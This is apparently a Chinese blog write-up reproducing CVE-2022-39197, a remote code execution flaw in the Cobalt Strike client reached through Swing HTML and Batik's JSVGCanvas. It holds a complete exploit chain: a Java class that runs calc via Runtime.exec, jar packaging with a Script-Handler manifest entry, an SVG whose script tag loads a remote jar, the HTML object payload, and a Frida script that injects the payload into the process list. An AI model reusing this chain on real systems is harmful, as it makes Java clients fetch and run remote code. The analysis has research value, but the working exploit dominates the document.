如何在Swing使用html
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
官方文档中已经写出在Swing中使用的方式,只需要将<html>标记放在开头即可
接下来我们来测试利用一下
如下所示,我创建了一个标签,将其内容通过html
设置成了一个图片,这里也就是说,假设这个JLabel
的标签内容我们可控,那么我们即可调用html代码,所以接下来去研究一下这个html在底层如何被执行成功的
打开rt
的jar包rt-javax-swing-text-html
rt.jar:代表runtime,包含所有核心Java 运行环境的已编译calss文件。
javax:java里是核心包,javax是扩展包
这些就是跟我们HTML有关的类了,首先我们先来看一下HTML
这个类,API文档中解释如下
1. 我们看一下HTML这个类有哪些东西
它存在一个内部类Tag
,它存在三个构造器(一个无参,两个有参)
调用有参构造,将大量平时我们看到过得html的标签名作为id,实例化了一堆Tag对象,并且最后将这些对象放入allTags
数组
同样的还有一个Attribute
内部类,存在一个有参构造,实例化了一堆Attribute,这里的参数名都是我们在html常见的标签属性,最后将这些内部类全部都存放在allAttributes
数组里
2. 来看一下HTMLDocument类
这里最显眼的肯定是这一堆Action,如下图所示,几乎将每个之前实例化的Tag都对应指定了一个Action
类,比如下图的LinkAction,像ba,sa,ca,它们归根结底其实也是Action
这些Action在哪里被声明的呢?我们翻找一下,看到它们在HTMLReader
类里,这个类是什么呢?说白了就是按照JAVA的格式来解析之前的不同HTML标签
而它继承于HTMLEditorKit.ParserCallback
3. 那我们再转到HTMLEditorKit,然后在ParserCallback倒是没发现什么,但是发现了一个HTMLFactory类
顾名思义它是个工厂类,所以盲猜有点东西,发现它会根据不同的标签创建不同的VIEW
这里要注意到这个ObjectView,其实Object相关的东西不是在这里第一次出现了,例如HTML的OBJECT标签和ObjectAction
我们点进这个ObjectView,发现存在反射调用空餐构造器来实例化对象,并且这个类必须继承Component
,然后调用setParameters
函数
然后点进setParameters
看一看,这里为了方便讲解,我直接把代码粘贴出来了,并以注释的形式来说明其功能,这里看着内容不少,但是实际上如果看进去我写的讲解其实很简单
private void setParameters(Component comp, AttributeSet attr) { Class k = comp.getClass(); BeanInfo bi; //声明一个BeanInfo类型的对象(多态范畴,这个BeanInfo是个接口),这个BeanInfo属于javabean的内容范畴,那么什么是javabean呢,可以简单理解成一种特殊的类,遵从特定的规范,可以将1个或多个对象封装到一个对象(Bean)中 try { bi = Introspector.getBeanInfo(k); //Introspector是一个工具类,用来操作javabean的属性,事件和方法,其中它的getBeanInfo函数,它的作用是对Java bean进行内省,并了解其所有属性,公开方法和事件,并遵守一些控制标志,最后返回的类型是GenericBeanInfo,所以这个bi对象其实是GenericBeanInfo } catch (IntrospectionException ex) { System.err.println("introspector failed, ex: "+ex); return; } PropertyDescriptor props[] = bi.getPropertyDescriptors(); for (int i=0; i < props.length; i++) { //这里attr为我们利用object标签时,传的param的参数,然后这里props为这个Object对应类所有的属性,所以这时候按照下边的写法,也就是只有当我们传入的属性在这个所有属性中,这里的v才会被赋予对应属性的值(值为字符串型),所以下面这个if才会成立 Object v = attr.getAttribute(props[i].getName()); if (v instanceof String) { //将v赋值给value,这就是对应属性的值了 String value = (String) v; //而writer则是对应的属性的写方法,setXXX Method writer = props[i].getWriteMethod(); //这里就是判断属性是否可写,怎么判断属性是否可写呢,就是通过看它是否有对应的set方法,如一个属性是Name,那就看这个类有没有setName方法 if (writer == null) { // read-only property. ignore return; // for now } //获得方法形参类型,判断是否仅有1个,多了也不行 Class[] params = writer.getParameterTypes(); if (params.length != 1) { // zero or more than one argument, ignore return; // for now } Object [] args = { value }; try { //反射执行对应方法 MethodUtil.invoke(writer, comp, args); } catch (Exception ex) { System.err.println("Invocation failed"); // invocation code } } } }
接下来总结一下利用这个ObjectView的类的所要求的特点
Component
所以我们可以通过JLabel实验一下,继承满足
JLabel extends-> JComponent extends-> Container extends-> Component
存在无参构造器
存在text
属性,并且存在setText函数
然后代码改成如下所示
<html><object classid='javax.swing.JLabel'><param name='text' value='小惜'>
执行一下,发现调用成功
首先因为利用的类需要继承于Component,所以找到所有Component的子类
然后右键导出文本,并且将文本中cobaltstrike之前的内容全删掉
然后写个脚本整理一下格式(用python习惯了发现还是python香,但是想捡一捡java了就用java写了一个),这里要注意判断是否为内部类,正常我们使用forName函数,里面的参数如果是内部类必须要用这种格式--->Class.forName("com.mxgraph.swing.mxGraphComponent$mxGraphControl");
,这是因为在java中编译之后内部类的class文件是独立存在的,跟外部类放在一个目录下名称为外部类$内部类.class
然后再根据是否存在无参构造器,是否有对应属性存在setXXX方法的条件进行筛选,这里初步筛选了126个方法,有点太多了,这里有大量的重复方法,我们需要将其排除,所以我这里先暂时将方法同名超过两次的排除
ok这回筛选出来只有28个了
然后就可以通过手动研判一下这些链路是否会有可以利用的,其实最终的利用链就是JSVGCanvas-->setURI
这一条,我这时去寻找官方的文档,找到一个demo
http://people.apache.org/~clay/batik/svgcanvas.html#Creating+a+JSVGCanvas
demo如下:
import org.apache.batik.swing.JSVGCanvas; import org.apache.batik.swing.gvt.GVTTreeRendererAdapter; import org.apache.batik.swing.gvt.GVTTreeRendererEvent; import org.apache.batik.swing.svg.GVTTreeBuilderAdapter; import org.apache.batik.swing.svg.GVTTreeBuilderEvent; import org.apache.batik.swing.svg.SVGDocumentLoaderAdapter; import org.apache.batik.swing.svg.SVGDocumentLoaderEvent; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import java.io.File; import java.io.IOException; public class SVGApplication { public static void main(String[] args) { JFrame f = new JFrame("Batik"); SVGApplication app = new SVGApplication(f); f.getContentPane().add(app.createComponents()); f.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { System.exit(0); } }); f.setSize(400, 400); f.setVisible(true); } JFrame frame; JButton button = new JButton("Load..."); JLabel label = new JLabel(); JSVGCanvas svgCanvas = new JSVGCanvas(); public SVGApplication(JFrame f) { frame = f; } public JComponent createComponents() { final JPanel panel = new JPanel(new BorderLayout()); JPanel p = new JPanel(new FlowLayout(FlowLayout.LEFT)); p.add(button); p.add(label); panel.add("North", p); panel.add("Center", svgCanvas); // 设置按钮的监听事件 button.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent ae) { //这里是弹出文件选择框,然后判断是否为正常选择文件 JFileChooser fc = new JFileChooser("."); int choice = fc.showOpenDialog(panel); if (choice == JFileChooser.APPROVE_OPTION) { //获取文件 File f = fc.getSelectedFile(); try { //将文件转化成url,形如:file:/C:/Users/97339/Pictures/睡觉.svg //然后利用setURI函数将svg图标展示到svgCanvas画布上 svgCanvas.setURI(f.toURL().toString()); } catch (IOException ex) { ex.printStackTrace(); } } } }); return panel; } }
注意这里我将下面的代码删除了,因为程序没用到它们
程序结果如下
既然如此,利用它加载本地svg文件太过于鸡肋,回到现实,我们还是想让它读取远程的svg文件,当然也可以
这样我们就体会到了这个setURI的用法,它会通过URI加载一个svg,而svg中是可以调用js代码的,如下图所示,我这里存在一个JS.svg
但是这里报错,这里看报错信息就知道它是没有找到图中的相关类,
但是在报错的内容中还发现了如下所示的两个重要的函数
我们可以先点进loadScript
中look look,我们发现loadScripts
代码相对少很多,来啃一下
public void loadScripts() { //这里利用getElementsByTagNameNS来获取命名空间为http://www.w3.org/2000/svg并且名称为script的元素,如果这里不理解的话往下看附录里面的getElementsByTagNameNS详解 NodeList scripts = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script"); //svg对象为上方所示的JS.svg的话,这里的len即为1 int len = scripts.getLength(); for(int i = 0; i < len; ++i) { //将script节点对象变为AbstractElement对象,并作为参数调用下方的loadScript函数 AbstractElement script = (AbstractElement)scripts.item(i); this.loadScript(script); } }
ok,压力给到loadScript函数
来吧继续啃代码,仔细看一下发现这个loadScripts
可以简单分为3部分,首先最外层的if忽略肯定会进去,因为最开始executedScripts
肯定是空的,肯定不存在,然后判断条件还有一个!
所以双重否定为肯定,然后执行了部分1的代码,接下来会有两个分支,一个是type是application/java-archive
的情况,另外一部分就是else的情况,而在部分1我们看到type = "text/ecmascript"
所以如果type没指定会默认被赋值成text/ecmascript
,也就会走else分支
既然它正常会走else分支,那我们就来看看我们没有走过的分支部分2
if (type.equals("application/java-archive")) { try { //读取xlink:href属性的内容,如果没读到这里href的值不为null,而是空字符串 --> "" String href = XLinkSupport.getXLinkHref(script); //这里的getBaseURI()用来获取svg数据源的url,然后作为参数创建了ParsedURL对象,ParsedURL继承于URL,我们这里先把它当成普通URL对象理解 ParsedURL purl = new ParsedURL(script.getBaseURI(), href); this.checkCompatibleScriptURL(type, purl); URL docURL = null; try { docURL = new URL(this.docPURL.toString()); } catch (MalformedURLException var14) { } //这里docURL先不用管,DocumentJarClassLoader是URLClassLoader的封装,URLClassLoader的作用是加载远程jar包,这里最重要的参数是第一个参数,它指定了远程jar包的地址,而第一个参数又是又purl对象生成的,而purl对象创建时同样存在两个url地址,上方new ParsedURL(script.getBaseURI(), href);代码中,真正指定的url地址其实为第二个参数,这里具体可以看附录里的《URL详解》 DocumentJarClassLoader cll = new DocumentJarClassLoader(new URL(purl.toString()), docURL); //这里代表看看这个jar包里面有无META-INF/MANIFEST.MF文件,相当于一个判断,如果没有直接返回 URL url = cll.findResource("META-INF/MANIFEST.MF"); if (url == null) { return; } //返回文件字节流并创建Manifest对象,Manifest类用于维护清单条目名称及其相关属性 Manifest man = new Manifest(url.openStream()); this.executedScripts.put(script, (Object)null); //获取Script-Handler键的名称,也就是类名 mediaType = man.getMainAttributes().getValue("Script-Handler"); if (mediaType != null) { //加载类并获取空餐构造器,并且实例化 ScriptHandler h = (ScriptHandler)cll.loadClass(mediaType).getDeclaredConstructor().newInstance(); h.run(this.document, this.getWindow()); } mediaType = man.getMainAttributes().getValue("SVG-Handler-Class"); if (mediaType != null) { EventListenerInitializer initializer = (EventListenerInitializer)cll.loadClass(mediaType).getDeclaredConstructor().newInstance(); this.getWindow(); initializer.initializeEventListeners((SVGDocument)this.document); } } catch (Exception var16) { if (this.userAgent != null) { this.userAgent.displayError(var16); } } }
ok,那么既然如此,整个链就很明显了,利用的方式也出来了
import java.io.IOException; public class Exp { public Exp() throws IOException { String os = System.getProperty("os.name").toLowerCase(); if(os.indexOf("mac")>=0){ Runtime.getRuntime().exec("open -na Calculator"); }else if(os.indexOf("windows")>=0){ Runtime.getRuntime().exec("calc.exe"); } } }
然后将其打成jar包
javac .\Exp.java jar -cvf exp.jar .\Exp.class
这时将生成的jar包通过压缩文件方式打开,然后去看META-INF
目录下的MANIFEST.MF
文件
由于之前我们对链路的研究所以知道这里缺少一个利用必不可少的值Script-Handler
,我们这里可以手动添加,然后覆盖原本的MANIFEST.MF
文件
这里其实还有一种方法就是再生成jar包的时候直接上MANIFEST.MF文件就带这条文本,前提需要类去实现ScriptHandler
接口,由于还得导jar包我就懒得找了,感兴趣的自己尝试吧
svg文件
<?xml version="1.0" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190"> <script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:1234/exp.jar"> </script> </svg>
当我准备好文件并打算在本地利用之前的demo—SVGApplication
类准备本地利用的时候又出问题了,报了个错,提示我们这个jar包的url地址和与文档本身来自不同位置,那这又什么情况,还好这里能显示报错的详情,看第二行出现了一个熟悉的函数checkCompatibleScriptURL
这个函数之前都没有搭理它,现在就出来刷存在感了,看一下
传递两个参数一个是,类型,一个是jar包的url,继续跟进,这里调用了checkLoadScript
函数,并且再原有的两个参数上还加上了个了一个this.docPURL
,先别着急继续往下跟进函数,这里已经出来了两个URL,所以盲猜应该是对比两个地址的domain是否相同,所以查查这个docPURL是什么
通过搜索框查看赋值情况,发现这个this.docPURL
应该是svg文件的url地址
所以这里将代码稍加改动,不读取本地svg文件,而是远程读取
ok,继续我们往上,我们回到实际的swing中利用
payload
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:1234/test.svg'>
成功
同样的先抓包,获取publickey(详细的在我xss复现那篇已经详解,这里简单代过了)
获得地址
访问获得文件
获得publickey
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==
获取key后,用我修改后的脚本上线
利用
http://192.168.52.129:5200/dpixel
然后将username改成payload,公钥也放好
执行
造成这个原因也很简单,就是payload长度限制,这个在大佬的文章中也提到了,我就不重复哔哔了,详情去看(不到为什么在xss那里我改了下脚本就可以利用了,可能当时的思路就是错的,然后瞎猫碰到死耗子了)
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
然后呢解决方法就是,退而求其次,从追求首页RCE转变成进程列表
RCE,其实也还可以毕竟一个攻击者拿到一个主机通常还是会查看一下进程的,这里直接把大佬 漂亮鼠的代码拿来了,需要改一下payload和进程名(我相信这块是有办法绕过的,因为漂亮鼠大佬提供了Frame思路,但是只能高版本,还有一种是从aes通信入手,而且北辰大佬听说是直接首页RCE的,我非常想继续给它研究出来,奈何最近没什么时间,等之后有机会再说吧)
import frida import time import argparse def spoof_user_name(target, url): # spawn target process print('[+] Spawning target process...') pid = frida.spawn(target) session = frida.attach(pid) # 下面的payload修改一下 js = ''' var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.52.1:1234/test.svg'>" payload=Array.from(payload).map(letter => letter.charCodeAt(0)) var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next') Interceptor.attach(Process32Next, { onEnter: function(args) { //var hProcessSnap=args[0] var info=args[1]; this.info = info; //console.log(this.info); this.szExeFile=this.info.add(0x24); // console.log(this.szExeFile); }, onLeave: function(retval) { if(Memory.readAnsiString(this.szExeFile) == 'artifact.exe')//当进程名称为artifact时修改其名称,根据实际情况替换成其他 { Memory.writeByteArray(ptr(this.szExeFile), payload) console.log("find artifact.exe write payload") } //console.log(Memory.readAnsiString(this.szExeFile)); } }); ''' script = session.create_script(js) script.load() # resume frida.resume(pid) print('[+] Let\'s wait for 10 seconds to ensure the payload sent!') # wait for 10 seconds time.sleep(1000) # kill frida.kill(pid) print('[+] Done! Killed trojan process.') exit(0) def showbanner(): # Thanks http://patorjk.com/ for creating this awesome banner banner = ''' $$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$ __$$\ $$ | $$ | $$ | $$ _____|\__| $$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$ |$$$$$$\ $$ | $$\ $$$$$$\ $$$$$$\ $$ | $$ __$$\ $$ __$$\ \____$$\ $$ |\_$$ _| $$$$$\ $$ |$$ __$$\ $$ __$$\ $$ | $$ / $$ |$$ | $$ | $$$$$$$ |$$ | $$ | $$ __| $$ |$$ | \__|$$$$$$$$ | $$ | $$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ ____| \$$$$$$ |\$$$$$$ |$$$$$$$ |\$$$$$$$ |$$ | \$$$$ |$$ | $$ |$$ | \$$$$$$$\ \______/ \______/ \_______/ \_______|\__| \____/ \__| \__|\__| \_______| CVE-2022-39197 PoC by @TomAPU ''' print(banner) parser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, allowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, clearly I haven't figure out how to trigger an RCE). WARNING: This tool works by executing the trojan generated by CobaltStrike and hooking GetUserNameA to add XSS payload to beat the server. So, please, execute it in a virtual machine! Currently, this POC only supports X86 exe payloads, and of course, works on Windows. ''') parser.add_argument('-t', '--target', help='target trojan sample', required=False) parser.add_argument('-u', '--url', help='URL for server to load as img, considering the limit of length, it should be less than 20 bytes', required=False) if __name__ == '__main__': showbanner() args = parser.parse_args() if args.target and args.url: if len(args.url) > 20: print('[-] URL should be shorter than 20 bytes :(') exit(-1) spoof_user_name(args.target, args.url) else: parser.print_help()
然后执行利用(我去**的),不慌,仔细看一下发现原因,原来是我在本机用的java11编译的,而我这个C2的主机是java8的
so,本地再用java8重新编译并打jar包,然后再来(这块我又弄了1个小时左右,最后一直版本的报错,最后搞明白了,不知道哪出存在坑爹的缓存,其中我把http服务重开也还是那样,最后把jar包改名,然后把svg的连接中的jar包名也改成新的才成功,真的烦这种浪费时间的bug)
getElementsByTagNameNS来获取指定命名空间并且为指定名称的元素
这里不光是讲解getElementsByTagNameNS
函数,也来体会一下在java中对xml文档(svg本质也是xml文档)操作的具体实例,首先我们这里还是拿JS.svg举例
JS.svg
<?xml version="1.0" standalone="no"?> <svg t="1667468954142" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="2487" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <script> alert(1); </script> </svg>
然后我们通过以下代码来获取一下节点
(java操作xml需要导入xml-apis的jar包),注意这里我们先用getElementsByTagName
函数,跟getElementsByTagNameNS
函数类似,getElementsByTagName
用来获取指定名称的的元素(它不考虑命名空间)
// 创建解析器工厂 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder db = factory.newDocumentBuilder(); // 创建一个Document对象 设置XML位置 Document doc = db.parse("src/test.svg"); //获取xml中script节点 NodeList modelList = doc.getElementsByTagName("script"); //输出节点长度 System.out.println(modelList.getLength()); //输出节点索引为0的节点对象 System.out.println(modelList.item(0)); //输出节点索引为0的节点对象的文本内容 System.out.println(modelList.item(0).getTextContent());
结果如下所示
上方的代码通过getElementsByTagName函数来获取指定名称的节点对象列表,那下面来正式介绍getElementsByTagNameNS
,它的作用我们之前说过,获取指定命名空间并且为指定名称的元素,那么什么是命名空间呢?如下图所示,我这里起了两个名称,一个是默认命名空间,一个是别名命名空间
默认命名空间
默认命名空间很简单,如下图我的svg
父节点的默认命名空间为一个值,那么它所有子节点都默认带上了它父节点的默认命名空间
如下代码所示,我们会发现这里获取到的节点列表的长度为0,也就是说这个节点列表里面的元素一个都没有,这个时候取出元素必然是空啊,那这是怎么回事?其实上方的说法并没有错误,要点就在我注释的这个代码里factory.setNamespaceAware(true);
,java中该函数的默认情况下是false,在我们读取xml的时候会自动忽略掉命名空间,所以我们要将其改为true
如下图当修改后,成功返回了相应的节点
别名命名空间:
别名命名空间和默认命名空间不通,正常的子节点不会带上别名命名空间,必须要用别名去声明子节点才会生效,如下图所示,一目了然
<?xml version="1.0" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" p-id="2487" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <!--这里带上了父节点命名空间的别名--> <xlink:script> alert(1); </xlink:script> </svg>
成功获取到节点
首先在之前我说DocumentJarClassLoader
其实就是URLClassLoader的封装,而它的第一个参数才是远程jar包的url地址
为什么这么说呢,我们点进DocumentJarClassLoader类就一目了然,图中可以看到它继承URLClassLoader
,而URLClassLoader的构造器的参数为,URL类型的数组,所以这里在代码第一行将jarURL
封装成一个URL类型数组,并且用super
函数,调用父类构造器,而它的第二个参数documentURL
则被用来设置documentCodeSource的值,所以这里的jar包地址取决于第一个参数,往前推这个参数也就是new URL(purl.toString())
ok,接下来我们来看purl
对象,它在实例化的时候同样传了两个参数,那么purl.toString()
的值到底取决于哪个参数呢?
我们实验一下即可,很明显它取决于第二个参数,所以往回推,上图中的href
决定了远程jar包的地址,而href又是来自于svg文件中的xlink:href
属性